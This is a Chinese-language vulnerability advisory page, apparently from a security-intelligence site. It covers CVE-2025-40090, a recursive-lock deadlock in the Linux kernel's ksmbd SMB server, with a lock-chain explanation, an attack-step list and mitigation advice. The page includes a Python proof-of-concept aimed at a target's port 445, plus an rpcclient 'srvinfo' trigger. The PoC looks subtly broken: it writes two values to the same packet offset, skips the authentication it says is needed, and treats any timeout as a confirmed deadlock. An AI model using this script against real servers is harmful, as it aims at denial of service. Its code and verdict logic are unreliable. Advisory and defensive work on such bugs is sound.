IPBUF安全漏洞报告
English
CVE-2025-40090 CVSS 5.5 中危

CVE-2025-40090: Linux内核ksmbd递归锁定死锁漏洞

披露日期: 2025-10-30
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-40090
漏洞类型
死锁/递归锁定
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel ksmbd

相关标签

CVE-2025-40090Linux kernelksmbd死锁递归锁定拒绝服务SMBnamed pipeMEDIUM本地攻击

漏洞概述

CVE-2025-40090是Linux内核中ksmbd模块的一个中等严重性死锁漏洞。漏洞源于ksmbd_session_rpc_method()函数在访问RPC句柄列表时尝试获取sess->rpc_lock锁,但由于该锁已在ksmbd_session_rpc_open()函数中被以写锁方式持有,导致递归锁定死锁。此漏洞发生在客户端尝试打开命名管道(named pipe)时,会导致连接挂起和任务阻塞,最终造成拒绝服务(DoS)攻击。攻击者可通过Samba的rpcclient工具连接到目标服务器并执行srvinfo命令来触发此漏洞。受影响系统包括运行包含ksmbd模块的Linux内核的服务器。

技术细节

该漏洞的技术根源在于锁的不正确使用导致的死锁。具体攻击链如下:

1. 客户端通过SMB2协议发起命名管道打开请求
2. smb2_open()函数调用create_smb2_pipe()
3. create_smb2_pipe()调用ksmbd_session_rpc_open()
4. ksmbd_session_rpc_open()首先以写锁方式获取sess->rpc_lock(down_write)
5. 然后调用ksmbd_rpc_open()
6. ksmbd_rpc_open()调用ksmbd_session_rpc_method()
7. ksmbd_session_rpc_method()尝试以读锁方式获取同一个sess->rpc_lock(down_read)
8. 由于写锁已被持有且不允许递归读锁,导致死锁

受影响的内核版本包括引入commit 305853cce3794的所有版本。内核日志会显示任务状态为D(不可中断睡眠),调用栈显示在rwsem_down_read_slowpath处阻塞。修复方案需要调整ksmbd_session_rpc_method()的调用者,确保在调用前已经正确获取锁,或者修改锁的使用策略。

攻击链分析

STEP 1
步骤1
攻击者通过网络连接到运行ksmbd的Linux服务器(目标IP:445端口)
STEP 2
步骤2
攻击者使用SMB2协议进行身份认证,建立会话连接
STEP 3
步骤3
攻击者发送SMB2 CREATE请求打开命名管道(如srvsvc或lsarpc管道)
STEP 4
步骤4
smb2_open()调用create_smb2_pipe(),触发ksmbd_session_rpc_open()获取写锁
STEP 5
步骤5
ksmbd_rpc_open()调用ksmbd_session_rpc_method(),尝试获取同一锁的读锁
STEP 6
步骤6
由于写锁已被持有且不支持递归读锁,导致任务进入不可中断睡眠状态(D状态)
STEP 7
步骤7
连接挂起,任务死锁,系统日志记录hung_task告警,服务器拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-40090 PoC - ksmbd Deadlock Vulnerability This PoC demonstrates the deadlock vulnerability in Linux kernel ksmbd module. Triggered when a client attempts to open a named pipe with recursive locking issue. """ import socket import struct import time def create_smb2_negotiate_request(): """Create SMB2 NEGOTIATE request packet""" # SMB2 Header protocol_id = b'\xfe\x53\x4d\x42' # SMB2 signature header = bytearray(64) struct.pack_into('<I', header, 0, 0x424d53fe) # Protocol ID struct.pack_into('<H', header, 16, 0x0000) # Negotiate request struct.pack_into('<H', header, 18, 1) # Credit request struct.pack_into('<I', header, 28, 0x24) # Byte count return bytes(header) def create_pipe_open_request(): """ Create SMB2 CREATE request for named pipe This triggers the deadlock in ksmbd_session_rpc_open -> ksmbd_rpc_open -> ksmbd_session_rpc_method """ pipe_name = b'\\\\pipe\\\\srvsvc\x00' # Named pipe path request = bytearray(64 + len(pipe_name)) struct.pack_into('<H', request, 44, 0x05) # CREATE request # File name offset and length struct.pack_into('<H', request, 44, len(pipe_name)) return bytes(request) def trigger_deadlock(target_ip, target_port=445): """ Trigger the deadlock vulnerability Note: This PoC requires valid SMB authentication to trigger the full attack chain """ print(f"[*] Connecting to {target_ip}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send NEGOTIATE request negotiate_req = create_smb2_negotiate_request() sock.send(negotiate_req) print("[+] Sent SMB2 NEGOTIATE request") # Send CREATE request for named pipe # This will trigger the deadlock in ksmbd pipe_req = create_pipe_open_request() sock.send(pipe_req) print("[+] Sent pipe open request - deadlock should occur") # Wait for response (will hang if vulnerability is present) print("[*] Waiting for response...") sock.settimeout(5) try: response = sock.recv(1024) print(f"[!] Received unexpected response: {len(response)} bytes") except socket.timeout: print("[!] Connection timed out - deadlock vulnerability confirmed!") return True except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() # Alternative: Use Samba's rpcclient (as mentioned in CVE description) # rpcclient //192.168.1.254 -U user%password # rpcclient $> srvinfo if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-40090-poc.py <target_ip>") sys.exit(1) trigger_deadlock(sys.argv[1])

影响范围

Linux kernel ksmbd (commit 305853cce3794引入的版本)
ksmbd < 修复版本 (commits 1891abe832, 3412fbd81, 4602b8cee, 5493571f, 88f170814)

防御指南

临时缓解措施
临时缓解措施:1) 设置/proc/sys/kernel/hung_task_timeout_secs为0可禁用hung_task告警消息,但这不会修复底层死锁问题;2) 限制ksmbd服务的网络访问,通过防火墙规则仅允许授权IP地址访问SMB服务(端口445/139);3) 监控异常连接行为,当发现连接挂起时及时断开并重启ksmbd服务;4) 如果业务允许,可暂时禁用ksmbd模块,通过修改/etc/modprobe.d/或grub配置阻止ksmbd加载。最根本的解决方案仍然是等待并应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表